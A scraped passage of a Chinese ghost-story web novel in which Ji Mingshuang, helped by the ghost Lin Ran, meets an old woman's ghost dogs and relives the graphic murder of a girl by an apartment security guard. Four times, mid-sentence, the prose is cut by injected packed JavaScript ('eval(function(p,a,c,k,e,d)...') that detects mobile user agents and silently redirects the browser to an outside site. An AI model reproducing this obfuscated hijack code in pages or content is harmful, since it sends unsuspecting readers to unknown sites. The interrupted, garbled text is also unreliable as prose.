纪明霜回头看去，方婆婆扶了扶老花镜，已经开始继续织毛衣了，“哦，那是我给大白、二白和小白的玩具，它们几个平时比较调皮，最喜欢玩的就是寻回的游戏，我最近比较懒，它们就去找你玩了，每次你一丢掉，它们就会捡回来，你越丢，它们越捡，哈哈，行了，大白，二白，小白，出来吧。” 这时，三团差不多大小的云朵团子飞了进来，最小的那只靠着方婆婆的小腿，蹭来蹭去，但它其实是碰不到方婆婆的，所以看起来就像穿模了，另外两只围着纪明霜和林然绕来绕去，粉粉的舌头，黑黑的眼睛，白而蓬松的毛发，还有摇成拨浪鼓的尾巴，原来是三只小白狗的鬼魂，看上去可爱极了。 “居然是小狗……”纪明霜蹲了下来，想要摸摸小白狗的头，但她的手穿过了小白狗的身体，可怜小白狗还期盼地仰着头，纪明霜对林然说，“你现在，摸它，立刻马上。” 林然：“……” 其实，在小白狗发现它能碰到林然的时候，就已经开始拼命地蹭林然的小腿了，别说，这狗不算大，力气却不小，林然蹲下，摸了摸小狗的头，小狗顿时就疯狂了，拼命地奔跑、绕圈、撒欢，打滚，高兴得像疯了一样，就连方婆婆腿边的小白狗也蹭了过来，林然都快被小狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419827|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的热情淹没了。 纪明霜：“……” 看到这个场景，方婆婆也露出一个和蔼的笑容，“行啦，行啦，你们太热情了，人家受不了，来，来，大白、二白、小白，过来。” 纪明霜这才想起，房东小陈哥说过，能跟他说话的人，包括雁雁和一楼织毛衣的老太太，看来这位方婆婆就是小陈哥提到的人，但是小陈哥说过，方婆婆的方言，他一句也听不懂啊。 这么想着，纪明霜就这么问了，老太太闻言，笑得更开心了，“我当然知道他了，哼，臭小子，整天溜溜哒哒的，半点正事不做，我就看他不爽，所以懒得理他，看到他，我就开始说家乡话，久而久之，他也不来了，不来正好，我只要我的三只小狗和五只小猫就够了。” 纪明霜说，“好像很少能看到小动物的鬼魂啊，今天一见就是三只……” 方婆婆打开袋子，拆开一盒饼干，对纪明霜说，“我最喜欢甜食了，来，你也吃一点吧，对了，那边的小伙子，你也要吃点吗，我去找点线香来……” 眼看着方婆婆就要起身，林然说，“不用，不用……” 然而，方婆婆太热情了，她走到橱柜旁，揪出一个小板凳，递给了纪明霜，又拿来线香，插在了曲奇饼干上，于是，纪明霜坐着吃饼干，林然站着吃饼干，一人一鬼一起听方婆婆说话。 方婆婆说，“唉，我从小就能看到别人看不到的东西，我也不知道这算不算一件好事…… 我小时候非常害怕，但现在呢，我反而很庆幸，我妹妹去世了，但我还能见到她，我还养着这些小动物，一个人住，倒也自在，但它们离不开这栋公寓，我也就没有搬走…… 唉，它们都死了，却还是这么乖巧懂事，它们觉得我做娃娃太累，从垃圾桶里找来人家不要的破娃娃来玩，又难看，又劣质，我看到就直接扔垃圾桶了。有的时候，我睡着了，毯子掉了，它们怕我冷，三只一起卧在我的身上，但其实没什么用，我照样会被冻醒…… 此外，这里还有小猫，猫的胆子太小，全都躲起来了，有的时候，我织毛衣，一抬头就能看到，几只小猫睡在阳光下，还在一起舔毛和打呼噜，偶尔过来用脑袋蹭蹭我，那时，我觉得幸福极了…… 在这里死去的人，死后也会被困在这里，但我不在乎，我就是要住在这里，无论我妹夫怎么劝我……我已经老了啊，身体越来越差了，我怕我哪天死在外头……” 方婆婆一边吃饼干，一边说话，见纪明霜和林然半天也只吃了一块饼干，赶紧道，“唉呀，吃吧，吃吧，我又不缺这些东西，妹夫也真是的，什么年代了，还找跑腿，还手写信，我现在都用外卖、网购和聊天软件了……算了，不说他了，我妹高兴就好。” 纪明霜看着老婆婆吃完了一层饼干，又去吃下一层，她看了林然一眼，林然也在看她，于是一人一鬼开始默默地吃饼干，方婆婆对纪明霜说，“谢谢你今天送东西过来，我也送一个娃娃给你吧……” 纪明霜正准备婉拒方婆婆的好意，但方婆婆又接着说，“这种娃娃，对他来说，就像小房子，是可以住进去的。” 15. 第15章 平平 她从筐子里拿出两个已经做好的娃娃，放在纪明霜的面前，“这两个娃娃，你更喜欢哪一个？” 这两个娃娃，一只是有着浅蓝色眼睛、黄色的毛线头发的小公主，她穿着粉色的小裙子，胸口有一个大大的波点蝴蝶结；另一只是戴着贝雷帽，拿着小花的米白色小熊公仔，脸蛋红扑扑的，像个艺术家。 按照纪明霜的审美，她肯定会选小公主洋娃娃，但方婆婆也说了，这种娃娃就像小房子，林然是能住进去的。 既然这样的话…… “婆婆，我要那个小公主洋娃娃。” 林然：“……” 方婆婆笑了笑，又给纪明霜打包了一份曲奇饼干，用袋子装好，拿给了纪明霜，于是，纪明霜满载而归。 回家之前，纪明霜计划好了一切，先做家务，再吃晚饭，但回家之后，纪明霜立即瘫在了沙发上，一直瘫到晚饭时间，她才爬起来。先把钟表擦干净，把电池安装好并校准时间，而后把粉色的钟表挂在了客厅的墙上，而后，她进了厨房里，对着两种口味的泡面，有点纠结，“林然，你觉得这两袋泡面，哪袋比较好吃啊。” 林然皱眉：“你怎么天天吃速食……” “所以哪个更好吃呢？” 林然：“左边的这袋吧，看起来清淡一点。” 纪明霜托腮，“但我更喜欢右边的这袋啊……” 林然：“……那你还问我？” 纪明霜笑了笑，“我觉得右边的这袋更好吃，所以我要先吃左边的这一袋……” 林然：“那你还买？” “因为逛超市的时候，我真的好饿啊，看什么都觉得好吃，不知不觉就买多了呢……” 说着，纪明霜就去开水泡面，这时，她家的门铃响了。 纪明霜正准备偷偷摸摸去看猫眼，林然直接穿门而出，对纪明霜说，“是你的朋友来了。” 纪明霜打开门，门口果然是靳尤白，今天小敏也来了，纪明霜跟她打了招呼，又拿来了两双拖鞋。 换好鞋之后，靳尤白直接走到了厨房，她的语气里充满了嫌弃，“霜霜，你又吃这些……不要再吃这些速食了，哪怕你去点外卖呢……” 纪明霜问道，“尤白，你怎么来了啊？” “我要是不来，我还不知道呢，你又在吃泡面。”靳尤白把纪明霜拿出来的泡面扔回购物袋里，“我和小敏正好路过这里，又正好买了三人份的晚饭，来一起吃嘛！” “你和小敏，周六过来？” 小敏是个有点内敛的女孩子，注意到纪明霜的目光，她不好意思地笑了笑，“没关系啦，我今天能拿三倍工资。” 纪明霜：“……” 如果是平时，她大概会说，‘尤白，你还缺秘书吗？’ 但是，靳尤白是真的会聘用她当秘书的。 所以纪明霜只是笑了笑，“真不错。” 靳尤白：“那个，我现在还缺一个秘书……” 纪明霜即答：“那你去下个招聘软件吧。” 靳尤白：“……” 小敏低头笑了笑，又把她放在门口的袋子放到了纪明霜的桌子上，“老板，纪小姐，来吃晚饭吧，凉了就不好吃了。” 纪明霜连忙去拿凳子，靳尤白拉着她去洗手，而后，三人一起坐在餐桌前。 小敏一边把打包好的饭盒拿出来，一边介绍着每道菜的菜名，“青花椒蒸鲽鱼、特色手撕鸭、砂锅森林菌、蟹粉小笼包、三丝春卷、椰香炸汤圆、虾仁蛤蜊汤，还有……鲜榨果汁。” 到最后的时候，纪明霜的小餐桌都放不下了，纪明霜说，“这么多……能吃得完吗？” 靳尤白看了看，“嗯……确实是有点多……这样吧，小敏，你去找些饭盒来，把菜分一些出去，霜霜，把菜留给你吧，你热热就能吃。” 见小敏站了起来，纪明霜连忙阻止，“不用出去拿了，我这里有饭碗的。” 于是，每一份菜都被分出去一部分，纪明霜把这些菜放到了厨房的台面上，鬼使神差的，她回房间拿出三支香，点燃之后，插在了香炉里，她小声地说，“林然，你也来吃一点。” 林然摇了摇头，说，“不用，我不用吃东西的。” 纪明霜装作蹲下去拿东西的样子，继续跟林然悄悄说话，“你今天吃饼干的时候，还蛮开心的呢……” 林然愣了一下，“有吗？” 纪明霜点了点头，确信地说，“有的。” 林然叹了口气，“还是算了……” 纪明霜：“让你吃，你就吃嘛！” 纪明霜迟迟没有回来，小敏已经探头看过来了，林然这才点点头，纪明霜回客厅落座，正准备动筷子，却见林然走了过来，“那个，纪明霜，你别吃太快了，我担心你会噎死……” 纪明霜：“……” 纪明霜不语，只是埋头干饭。 不过，她这次确实细嚼慢咽了很多。 靳尤白没什么胃口，也没吃多少，她看了纪明霜一会儿，说，“话说回来，霜霜，你今天看起来有点不一样哦。” 纪明霜：“哦？” “具体的我也说不出来……”靳尤白打量着她的客厅，“不过，你买的新钟表，和之前的风格不一样啊，还有门口鞋柜上放着的小娃娃，以前你不会买这么粉的东西的。” 小敏吐槽道，“纪小姐以前只会买基础款的生活必需品……纪小姐家里颜色最丰富的物品就是速食食品的包装袋吧。” 靳尤白也说，“对哦，霜霜，你会复数购买的也只有卫生纸和卫生巾吧。” 纪明霜：“……确实是这样。” “我就说嘛，不过这样也不错，粉色的小猪钟表，也蛮可爱的呢，哈哈，我还以为你会买文具店里二十块一个的小闹钟呢！” …… 送走了两人之后，纪明霜收拾了客厅的残局，又洗了新买的睡衣。 晚上，她拉好窗帘，换好睡衣，把灯关掉，扑到床上，她现在已经习惯了林然的存在，她抱着普通的白色灰格被子，伸了个懒腰，看着坐在她桌前的林然，“那个，等我睡着之后，你会干什么呢？” “醒着。” “那我有一个问题，我半夜会说梦话吗？” 林然说，“偶尔。” “啊？”纪明霜有点吃惊，她也只是随口问问。 “嗯。” “也就是说，你会一直看着我睡觉？”纪明霜坐了起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419828|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林然说，“我不用一直看着你，听着你的呼吸就行了……至少可以确定你还活着。” “我觉得我今晚会失眠。” “应该不会，你的平均入睡时间是大概七分钟。” “是吗？”纪明霜躺了回去，“但不得不说，我这一生最幸福的时光是在床上度过的。” “说得像是人生尽头的回顾总结一样。”林然说。 “但是，我在你眼里，不是随时会死吗？” “不，你会活很久的。” 他的双眸如星，眸光如水，如此明亮，又如此清澈，纪明霜无端觉得脸烫，她重新躺下，盖好被子，关了台灯，昏昏欲睡，但又坐了起来，“林然？” 林然真诚提问，“……你在做仰卧起坐吗？” “没有啦，我只是突然想起一件事……” “嗯？” “那个曲奇饼干，我之前也买过，但我以为只有一层，吃完就把盒子扔掉了，但是吃完一层之后，底下还有一层……” “嗯……” “也就是说……我的饼干啊，呜呜。” “……下次注意？” “……好。” 纪明霜这才睡下。 第二天醒来之后，纪明霜准备取一份曲奇饼干作为早餐，却在方婆婆给她打包好的袋子里发现了一份报纸。 按理说，老人家准备报纸是很正常的事情，毕竟报纸的妙用有很多，防灰尘，垫桌子，擦玻璃，但是，这份报纸被叠得整整齐齐地放了进来，也没有用来包装饼干啊…… 难道是方婆婆之前就放进袋子里，但忘记拿出来的报纸？ 纪明霜展开报纸翻了翻，这是一份本地的晚报，发行的日期大概在两年前…… “右下角。”林然突然出声提醒。 纪明霜查看了右下角的新闻，新闻标题是：花季少女离奇失踪，父母悬赏五万寻女。 这张照片上的女孩，站在阴暗的房间里，比了一个耶的手势，她的头发是黄色，发根却是黑色，面对镜子笑得开心，美甲上的碎钻闪闪发光。 她就是保安大叔身上挂着的女鬼啊…… 报纸上的线索有很多，纪明霜在网上查了查，这两年来，她的母亲已经因病去世，她的父亲依旧经营着博客账号，每天发布着女儿的信息，每篇博文只有一两个赞，尽管在他的博文后面打了一长串的标签，但他的标签是手动打的，标签与标签之间没有空格，所以这些标签是无效的。 他仍然寻找着女儿的踪迹，但他的女儿已经遇害了啊…… 纪明霜盯着报纸沉默了一会儿，方婆婆肯定见过那个女鬼，而她也知道那个女鬼的身份…… 平平。 这个女鬼的小名叫平平，但她并未平平安安，抑或平平淡淡地过完这一生。 纪明霜见过很多这样的鬼，无论是谁，林然，小陈哥，平平，纪明霜都会觉得可惜。 可惜他们没能好好地过完这一生。 可惜他们死后仍未放下执念，仍然在人间徘徊。 如果他们迟迟没有轮回转世，那他们的结局就只有一个——彻底消失。 但纪明霜没想到的是，当晚，她就见到了女鬼。 16. 第16章 帮忙 纪明霜走进灰灰公寓的时候，天气是雾蒙蒙的，周围是灰蒙蒙的，又湿又冷的早晨，连早起上班的打工人，远远看着都像一个个丧尸。 她背着一个大背包，手里拿着新买的卡通龙猫零钱包，时不时摸一下已经长出来一截的美甲，用手机搜索着附近的美甲小店，对了，头发也得补染发根了…… 她准备在这里短租一个月，这套公寓的租金是最低的，她和房东在社交软件上确定了租期和租金，但房东人在外地，幸好物业那边有备用钥匙。 纪明霜在公寓大厅的镜子里看到了她‘自己’，咦……感觉有一点陌生呢……还有一点奇异的游离感，感觉自己好像一只女鬼呢…… 哈哈，怎么可能呢？ 纪明霜看到手机里妈妈发来的未读消息，她并没有查看，她还想着妈妈最后对她说的话，她的心里又是难过，又是委屈，她想知道妈妈会对她说什么，又害怕妈妈会再次说出那样的话……就算是气话，她也忍不住心里的失望和难过。 她临走的那天晚上，跟妈妈大吵了一架…… 对了，到底是为什么吵架来着？ ……她已经忘记了。 保安大叔笑呵呵的，带着她走进了公寓大厅，还跟她提起，他也有个跟她差不多大的女儿。 她一边想着事，一边从楼梯往上走，一不小心绊了一下，保安大叔扶了她一把，她赶紧道谢，保安大叔却深深地望着她，并没有放开扶着她的手。 好奇怪的眼神…… 保安大叔看了她一会，又跟她提起他女儿的事，她没有多想，继续往上走，直到到了四楼房间，保安大叔打开了公寓的房门，她走了进去，咦，房间里有好多东西，床、桌子、柜子、书本、衣服、杂物、垃圾，这里好脏好乱，看着就是有人在住的样子，保安大叔拍了下头，才告诉她，他开错门了，这里是他家。 她开始感觉不对了。 但是，保安大叔又打开了另一个房间，嗯，房间还不错，虽然有点空，但是很干净，家具也齐全，像售楼处的样板房一样呢…… 这是她第一次住在外面，就算是上大学的时候，她也是住在家里的，她现在的感觉，又期待，又紧张，哼，谁说她一个人没法在外面生活的。 可是，当晚，保安大叔就来敲门了，他站在门口，倚着门问她喜不喜欢他，满脸的得意与期待，她被吓坏了，赶紧把门用力关上，但保安大叔手里有钥匙，他又打开了房门，跟她道歉说他是喝了酒才做这种事，希望她能原谅他的行为。 那天的月亮好白，她躺在楼道的水泥地面上，看着小小的窗中斑驳的月亮渐渐消失在她的眼前，而后，她的眼前是一片黑暗。 她的头很痛，很痛，耳边是连绵不绝的轰鸣，她的一只眼睛已经看不见了，她用另一只眼睛看着自己被保安大叔拖走。 保安大叔一边拖着她，一边埋头向前走，不停地喃喃自语，“我不是故意的，我不是故意的，我……我就是来问一下，来问一下而已，怎么会这样，怎么会这样啊……” 她被揪着双腿拖下了楼梯，一级一级的台阶棱角打在她的后脑，她努力睁开眼，好痛，好痛啊…… 她拒绝了保安大叔，这里再也住不了了，她收拾好东西，准备连夜离开，明明保安大叔已经走了，明明她已经尽量小心了，但她还是被发现了，手电的灯光照在她的脸上，她吓得一脚踩空，摔下楼梯，坠落过程有些漫长，她的头部受伤严重……直到现在也只是意外，哪怕保安大叔不管她，她都能爬着去求救，她是能活下来的，但保安大叔只是看着她，定定地看着她，而后，她被拖走了。 “这件事如果被人发现，是说不清的，所以……” 保安大叔从值班室的工具箱里拿出一把锤子，她的意识已经模糊，但仍然没有停止反抗，美甲连同指甲一起折断……直到她从她自己的身体中抽离出来，才意识到…… 结束了啊。 妈妈？ 妈妈的消息，她还没有看。 他还在动作，一锤又一锤，随着他的动作，她在颤动着，一下又一下，好像在挣扎一样。 保安大叔累了，他停下来休息，发现她已经死了。 他打开手机看了看时间，锁屏是他的女儿在吹生日蛋糕的蜡烛。 …… “纪明霜，纪明霜？” 是林然的声音。 纪明霜坐了起来，她现在满头满脸都是血，脑袋也晕晕乎乎的，但没什么痛感，她看着她的双手，嗯，美甲还剩下三个，但是…… 但是…… 好奇怪啊…… 她摸了摸自己的头。 瘪的。 啊？ 纪明霜摸不着头脑。 她终于清醒过来，原来是幻觉啊…… 这些是女鬼生前的记忆吧…… 虽然知道这是幻觉，但是……她左看右看，现在这是什么情况啊？ 她勉强站了起来，又听到了林然的声音，“纪明霜，醒一醒？” 他的声音像是从四面八方传来的，她没办法确认他所在的方位，只是摇摇晃晃地往前走着，而后，她脚下一滑，摔下了楼梯，她是趴着摔下去的，然后横着倒在了台阶上，好消息是，一点都不疼，坏消息是，她的腿好像断了。 纪明霜这下彻底站不起来了，只能阴暗地爬行，她爬到了楼道尽头的电梯里，但却够不到电梯的按钮，她只得爬回了楼道另一边的楼梯间，幸亏她所在的楼层不高，她努力地爬到了一楼大厅。 值班室里的保安大叔正在打哈欠，纪明霜勉强撑起身体，坐了起来，看着大厅里落地镜中的‘自己’，或者说是女鬼，她叹了口气，说，“他害你，你找他啊，找我干啥。” 镜子中的女鬼面无表情地说，“方婆婆已经够多事了，你也不要多管闲事。” “比如？” 女鬼没有说话，她只是看着纪明霜的双眼，静静地看着，过了一会儿，她离开了。 但纪明霜还坐在地上，站不起来，她听到有人的脚步声逐渐接近，回头一看，是林然。 林然显然也被她的惨状吓了一跳，她现在依然是女鬼的模样，满头满脸都是血，头也明显瘪了半个，两个眼框里只有一颗眼球，两只手上血肉模糊，腿也断了一条，是开放性胫腓骨骨折，还伴有严重的挫伤，组织受损，皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419829|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肤受损，所以…… 能看到断掉的骨头茬子。 林然蹲在她的面前，“纪明霜……你只是做了个梦，醒来就没事了，所以……” “所以我要怎么醒来呢？”纪明霜想把骨头茬子按回去，但是……还挺锋利的，给她的手心划出一小道伤口。 林然看了看四周，“我也不知道，但我知道你现在正睡在十三楼，但是我没法按电梯，所以……” 纪明霜：“所以我得爬上去？” 林然沉默了一会儿，试探着碰了碰纪明霜的额头，“我送你上去。” 他的指尖是冰凉的，难道鬼也是有温度的吗……纪明霜又伸手碰了碰他的指尖，嗯，根据她和地板的温差来判断，她的温度貌似是正常人类的温度，那林然的温度，大概……和地板的温度差不多呢。 林然应该是想把她抱起来的，但纪明霜现在就像放在地板上的一块普通但油腻的半冷冻流血水的五花肉，他可能有些无从下手……然而，楼道大厅里的灯光闪了又灭，值班室的门‘吱呀’一声打开了，保安大叔的身影完全变成了黑色，林然回头看了一眼，然后把纪明霜一把扛了起来，这时，一个球形的东西‘骨碌碌’落在地上，是女鬼的那颗掉落的眼球，身体发肤，受之父母，所以纪明霜刚刚往下爬的时候，顺手把眼珠放进自己的口袋里了。 “还要吗？”林然问道。 纪明霜：“还要。” 他把眼珠捡了起来，扛着纪明霜就往楼上跑，纪明霜看到保安大叔的手里提着带血的锤子，正紧紧地跟在两人的身后，他的速度时快时慢，有时在楼梯的拐角处，有时距离纪明霜只有一步的距离，纪明霜只有一只眼睛，所以，过了一会儿她才看清，哦，原来是这样啊…… 保安大叔有的时候能一步迈上七八个台阶，他的腿就好像她童年时期吃过的五彩绳软糖……看来在女鬼的潜意识里，保安大叔是很可怕的存在。 林然一个趔趄，皱着眉对她说，“好痛……” 纪明霜：“对不起！” 林然没有说什么，他抱着她一路跑回了十三楼，而后直接跑进了纪明霜的房间，当鬼还蛮方便的，多么畅通无阻啊。 纪明霜的身体还在床上安静地睡着，林然把她放在了床边，她碰了下自己的身体，于是她睁开了双眼。 她摸了摸自己的左眼，嗯，有眼球，又伸出自己的双手，嗯，指甲也都在。 纪明霜看到女鬼正站在她的床前，面无表情地看着她，她歪着脖子，僵着身体，吐出了大量的黑血，一股一股的，满床满地都是，幸亏这只是幻觉，不然纪明霜会崩溃，她没有购买另一套床上用品的预算。 纪明霜说，“我不会多管闲事的，今天是周日，我明天还要上班。” 女鬼说，“记住你说过的话。” “但是……”看着女鬼离去的背影，纪明霜又说，“鬼不能直接杀人，保安大叔不能死在你手里。” 女鬼沉默了一会儿，“那你能帮我一个忙吗？” 纪明霜：“人也不能杀人，这是违法的啊。” 女鬼笑了，露出一口阴森森的牙齿，“我只是想请你帮个小忙……” 17. 第17章 花束 “今晚凌晨两点，你去掬一捧水，倒在三楼到四楼之间的第七级台阶上……” 纪明霜断然拒绝，“不行，我不想间接杀人。” 窗外的冰冷月光流进室内，女鬼缓缓爬到了纪明霜的面前，她就像没有骨头一样摇摇晃晃的，皮肤像一层膜，包裹着流动的肉，她睁着一只腥红的眼，另一只眼珠被她从口袋里掏出来，丢在纪明霜面前，像一颗普通的正宗手打爆汁纯天然无添加牛肉丸，“那你为什么害我，我的腿怎么断了，都能看到骨头茬子……” 纪明霜：“……那我给你烧一把轮椅吧。” 女鬼歪了歪头，她的头大概转了九十度。 纪明霜又补充道，“我给你烧一把优质轮椅，越野电动四驱转弯减速陡坡缓降的那种……” 女鬼用鲜红的指点在地上点了一串歪歪扭扭的血点，“那你帮我做另一件事吧……” …… 纪明霜想了想，同意了。 女鬼这才如同潮水一样缓缓退去，消失在了黑暗中。 纪明霜坐在自己的床上，打了个哈欠，"林然，林然？" “嗯。”她听到‘自己’说。 “你上了我的身啊……”纪明霜说，“原来你是这么找到我的啊。” “嗯。” “你怎么了？” “疼。” 纪明霜：“抱歉，我一回想过去的事就会头疼……要不你先从我身上下来吧。” “不要。” 纪明霜这下彻底睡不着了，哪有别人替她受累受疼，她在一边呼呼大睡的道理，她抱紧了她的被子，看着窗外的月光，突然发现了盲点，“我睡前明明拉了窗帘啊……” “你睡着之后，窗帘杆掉了……窗帘也跟着滑落了。” 纪明霜：“……” “你没被砸死，就偷着乐吧，况且这种便宜的弹簧伸缩杆的质量本来就差……” “感觉这个窗帘杆蛮轻的，我想我应该不至于被砸死吧……” 林然顿了一下，说，“好疼……” 纪明霜：“对不起——我明天就去买个新的窗帘杆！” 他的声音带了一点笑意，“嗯。” 而后，他就不说话了，纪明霜裹着温暖的被子，抱着柔软的枕头，安静地坐在黑暗中，直到林然从她的身体中出来，她才对林然说，“那个，谢谢……” 林然对她说，“不用谢，还有，那个钟表……我很喜欢。” 月光下，他的皮肤冷白，双眸却如此清亮，如春日湖泊的涟漪。他好像只有一套衣服，纯白衬衫，制服外套，同色系的手打领带，只是现在的他和初见时的他，就好像普通照片和live图的区别了，怎么说呢，他显得更像人类了。 怎么说呢…… 这也是件好事吧。 纪明霜也不希望他变得越来越接近离魂，失去记忆，失去情感，失去生命的色彩，湮没在人间的风雪中。 “要不，我给你烧一套衣服吧。”纪明霜说。 “不要。”林然瞥了她一眼，“我怀疑你会给我烧一套女仆装。” “倒也不是不行……”纪明霜笑了笑，“好啦，开玩笑的，等我发工资了，就给你买新衣服。” “不用，我也是开玩笑的，你已经够拮据了，你如果想报答我的话，那你就……” 纪明霜歪了歪头，“那我就？” “把窗帘杆子放到墙角，然后明早记得丢掉，我担心你踩到窗帘杆子滑倒摔死。” 纪明霜：“……好。” 她把窗帘杆子靠墙放好，躺回床上继续睡觉，而后，她又坐了起来，“对了，林然？” “嗯。” “我觉得，你可以住进新房子里了。”她穿上拖鞋跑进客厅，把鞋柜上放着的公主娃娃拿过来，摆在她的枕头边，“嗯……我允许你住进房间里了，但是你不可以乱看哦。” 纪明霜已经换上了新睡衣，以后就不会发生扣子全部被解开这样的乌龙事件了——因为新睡衣没有扣子。 林然看着穿着粉红裙子的公主娃娃，有些失笑，“好。” 纪明霜枕着柔软的枕头，有点困了，“我想，这样的话，夜晚就不会非常漫长了……对吧。” “嗯。”他的声音很轻。 第二天醒来之后，纪明霜把娃娃装进包包里，准备一起带到公司去，只是，她刚出门就看到，门口放了一束花。 纪明霜左右环顾，“不会是有人送错了吧……” 林然说，“貌似十三层只住了你一个人……” 纪明霜蹲了下来，“花上面有一张卡片，上面写着，送给纪明霜小姐……这是给我的花？” “有署名吗？” 纪明霜把花里夹着的卡片拿了出来，这张卡片是淡紫色的普通的方形的卡片，背面没有文字，正面只有七个字：送给纪明霜小姐，以后右下角署名的地方画了一只可爱的卡通小羊。 这束花是一大束白色和黄色的香雪兰，以及少量的紫色和白色的风铃花，每朵花都新鲜，香味清新优雅。 “没有。”纪明霜打开手机联系人列表，抱歉，她的社交圈太小了，联系人列表里只有十个好友，唯一知道她地址而且有可能给她送花的人有且只有靳尤白。 纪明霜给这束花拍了一张照片，把花抱进房间里，就去坐电梯了。 时间已经不够了，今天可要上班呢，纪明霜赶紧骑着小电驴到公司打卡，打完卡之后，纪明霜才给靳尤白发了消息。 霜（纪明霜）：尤白，这是你送的吗？ 霜（纪明霜）：【图片】 举头望明月（靳尤白）：不是啊。 举头望明月（靳尤白）：你在外面有人了？ 举头望明月（靳尤白）：怀疑.jpg 霜（纪明霜）：好奇怪，卡片上写着我的名字，的确是送给我的啊。 霜（纪明霜）：但是我刚刚搬了新家，只有你知道我的地址啊…… 举头望明月（靳尤白）：我也没把地址告诉过别人，我去你爸妈家的时候，他们没问，我也没说。 举头望明月（靳尤白）：不过，我突然想起来一件事。 举头望明月（靳尤白）：你当初住院的时候，也有人送来一束花呢，但你昏迷了好久，那束花都枯萎了，就被我给扔掉了。 举头望明月（靳尤白）：当时也不知道是谁送的花…… 霜（纪明霜）：这样啊…… 霜（纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419830|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明霜）：不聊了，主管叫我去干活了。 中午下班的时候，纪明霜没有回家，在公司吃了午饭，在办公室里午休。晚上下班的时候，她特意看了值班室一眼，保安大叔正坐在椅子上，他的脸色不太好，看到纪明霜之后，他的脸色更差了，纪明霜不管这些，她只想回去休息。 纪明霜正在吃晚餐——普通的泡面加卤蛋，突然听到门口有撞击的声音，林然到门口看了看，又回到纪明霜身边，耳语道，“是那个老保安，他在门口鼓捣，一不小心发出声音，现在正贴着门听呢。” 纪明霜继续吃晚餐。 林然站在保安大叔的身后，他不确定保安大叔能不能看到他，所以隐藏了身形。他注意到，保安大叔腰间挂着的钥匙串。这不是公寓楼的钥匙，是他自己的钥匙，所以挂着一大堆护身符，有朱砂红的菩萨、红色的平安香包，绿底红字的平安牌，跟这些护身符比起来，钥匙反倒显得无关紧要。 保安大叔从包里掏出三支香，朝着四方拜了拜，又把香插进了门缝里……香折了两支。 保安大叔愣了一会儿，又开始上香，但香又折了两支，他干脆直接坐在纪明霜的门口，有些颓丧地抽了一支烟，抽完之后，他把折断的香、香灰、烟灰和烟头一起用手掬起来，装进塑料袋里，带走了。 凌晨时分，纪明霜披上外套，拉开窗帘，打开窗户，一股凉意扑面而来，她顿时清醒了不少。 “把外套穿好。”林然站在窗边，抱臂看着窗外，楼下的灯光映在他的点漆墨瞳中，公寓楼下一片混乱，救护车来了，警车也来了，穿着反光衣的公职人员正在维持秩序，路灯，车灯，手电的灯光都聚在一处，嘈杂又吵闹，而他只是安静地看着。 “你知道发生了什么吗？”纪明霜把外套穿好，又胡乱地系了几个扣子，探头向外看去。 “把拖鞋穿上，你的拖鞋距离你不到一米，还有，不要离窗户太近了。” “知道啦，你管得好多哦。”纪明霜说。 虽然如此，但纪明霜还是听话地穿好了拖鞋。 林然无奈地看了她一眼，纪明霜注意到，同样都是黑色的眼眸，但他的眸子会在月光下显露出犹如纯净湖泊或优质矿藏一般的美丽质感。 真漂亮啊…… “你在看什么？”林然在她的面前挥了挥手。 “没什么……”纪明霜说，“我只是在想，你好贴心哦，你不会真的是我的第二人格吧。” “想什么呢。”林然说，“如果你是我的第一人格，怪不得我会离家出走。” 纪明霜：“喂！” 这里的住户不多，时间已是深夜，围观的群众被拦在警戒线外，他们三三两两的，有的正拿手机拍着视频，有的正拿手电照着伤者，有的只是抱着手臂看着，两个医护人员把一个盖着白布的担架抬起来，送进了救护车中，人群这才渐渐散去。 纪明霜把窗帘拉好，坐回了床上，拿走手机看了一眼时间，现在是凌晨两点一刻。 “那个年轻保安死了。”林然站在她的身边。 “你怎么知道的？” “他刚刚过来了。” “然后呢？” “我让他离开了。” “哦……” 18. 第18章 薯片 